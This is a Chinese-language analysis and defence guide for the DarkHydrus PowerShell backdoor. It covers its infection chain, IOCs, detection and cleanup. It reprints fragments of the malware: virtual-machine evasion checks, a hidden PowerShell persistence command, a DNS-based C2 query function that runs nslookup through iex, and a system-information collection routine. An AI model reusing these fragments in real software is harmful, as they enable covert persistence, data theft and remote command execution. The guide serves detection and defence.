深入解析由黑客组织DarkHydrus使用的Powershell恶意软件
字数 1770 2025-08-18 11:37:28
DarkHydrus PowerShell恶意软件深入分析与防御指南
一、概述
DarkHydrus是一个针对中东组织的APT黑客组织,使用高度定制的PowerShell恶意软件进行攻击。本文档将详细分析该恶意软件的工作原理、技术细节及防御方法。
二、攻击链分析
1. 初始感染阶段
- 传播方式:鱼叉式钓鱼邮件包含受密码保护的RAR附件
- 文件类型:RAR内包含.iqy(Internet查询文件)
- MD5哈希:377cfd5b9aad2473d1659a5dbad01d90
2. 第一阶段载荷
- 执行机制:Excel默认打开.iqy文件,从URL获取内容
- URL:hxxp://micrrosoft.net/releasenotes.txt
- MD5哈希:bd764192e951b5afd56870d2084bccfd
- 行为:执行PowerShell命令下载第二阶段载荷
3. 第二阶段载荷
- 下载位置:hxxp://micrrosoft.net/winupdate.ps1
- MD5哈希:953a753dd4944c9a2b9876b090bf7c00
- 特点:使用压缩和Base64编码的PowerShell脚本
三、技术细节分析
1. 反分析技术
恶意软件实现了多层次的反分析检测:
虚拟机检测
# 检查SMBIOSBIOSVersion是否包含以下关键词
"VBOX", "bochs", "qemu", "VirtualBox", "VM"
# 检查Manufacturer是否为XEN
Get-WmiObject -Query "Select Manufacturer from Win32_BIOS"
系统资源检测
# 检查物理内存是否小于2.9GB
Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem"
# 检查处理器核心数是否大于1
(Get-WmiObject Win32_Processor).NumberOfCores
分析工具检测
检查以下进程是否运行:
- Wireshark相关进程
- Sysinternals工具相关进程
绕过方法
- 使用MOF文件修改WMI信息:
#pragma namespace("\\\\.\\root\\cimv2")
instance of Win32_BIOS
{
Manufacturer = "Sony";
SMBIOSBIOSVersion = "Legit_PC";
};
使用命令:mofcomp.exe bios.mof
- 分配足够资源:
- 内存 > 2.9GB
- CPU核心数 > 1
- 避免运行分析工具
2. 持久化机制
# 创建持久化文件
"%APPDATA%\OneDrive.bat" 内容:
powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"
# 创建启动项快捷方式
"Startup\OneDrive.lnk" → "%APPDATA%\OneDrive.bat"
# 针对Windows 7的特殊处理
3. 通信机制
使用DNS作为C2通信渠道:
查询类型
$queryTypes = "A", "AAAA", "AC", "CNAME", "MX", "TXT", "SRV", "SOA"
通信函数
function query {
param($query, $type, $test, $change_mode)
# 使用nslookup.exe进行DNS查询
$parameters = "-querytype=$type $query.$domain $server"
iex "nslookup $parameters"
}
轮询机制
function roundRobin {
param($list, $current)
# 轮换使用不同的DNS查询类型和域名
}
4. 数据收集
function myInfo {
# 收集系统信息
$info = @(
(Get-NetIPAddress).IPAddress,
$env:USERDOMAIN,
$env:USERNAME,
$env:COMPUTERNAME,
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
)
# 添加配置信息
$info += $Global:hasGarbage, $Global:hasstartup, $Global:hybdrid, $Global:sleep, $Global:jitter
return $info -join "|"
}
5. 命令与控制功能
支持的命令列表:
$fileDownload- 文件下载$importModule- 导入模块$fileUpload- 文件上传$screenshot- 屏幕截图$command- 执行任意命令slp:\d+- 设置通信间隔slpx:\d+- 设置DNS请求间隔testmode- 测试连接showconfig- 显示配置
四、防御措施
1. 检测指标(IOC)
-
文件哈希:
- IQY文件: 377cfd5b9aad2473d1659a5dbad01d90
- 第二阶段: bd764192e951b5afd56870d2084bccfd
- 第三阶段: 953a753dd4944c9a2b9876b090bf7c00
-
C2域名:
- anyconnect[.]stream
- bigip[.]stream
- fortiweb[.]download
- kaspersky[.]science
- microtik[.]stream
- owa365[.]bid
- symanteclive[.]download
- windowsdefender[.]win
2. 防护建议
-
邮件安全:
- 阻止带有.iqy附件的邮件
- 教育用户识别鱼叉式钓鱼攻击
-
系统加固:
- 禁用Office宏执行
- 限制PowerShell执行策略
- 监控%APPDATA%和启动目录的异常文件
-
网络防护:
- 阻止已知C2域名
- 监控异常DNS查询模式
- 限制出站DNS查询
-
终端防护:
- 部署EDR解决方案监控PowerShell活动
- 启用脚本日志记录和审计
五、清除方法
-
删除持久化文件:
%APPDATA%\OneDrive.bat%APPDATA%\OneDrive.ps1- 启动目录中的
OneDrive.lnk
-
检查并终止相关进程:
- PowerShell进程
- 可疑的cmd.exe进程
-
重置WMI信息(如果被修改)
六、总结
DarkHydrus使用的PowerShell恶意软件展示了高级的逃避技术和灵活的C2通信机制。通过了解其工作原理和技术细节,安全团队可以更好地检测和防御此类威胁。关键点包括:
- 多阶段载荷传递
- 全面的反分析技术
- 基于DNS的隐蔽通信
- 模块化的后门功能
持续监控PowerShell活动和分析网络流量中的异常DNS模式是检测此类威胁的有效方法。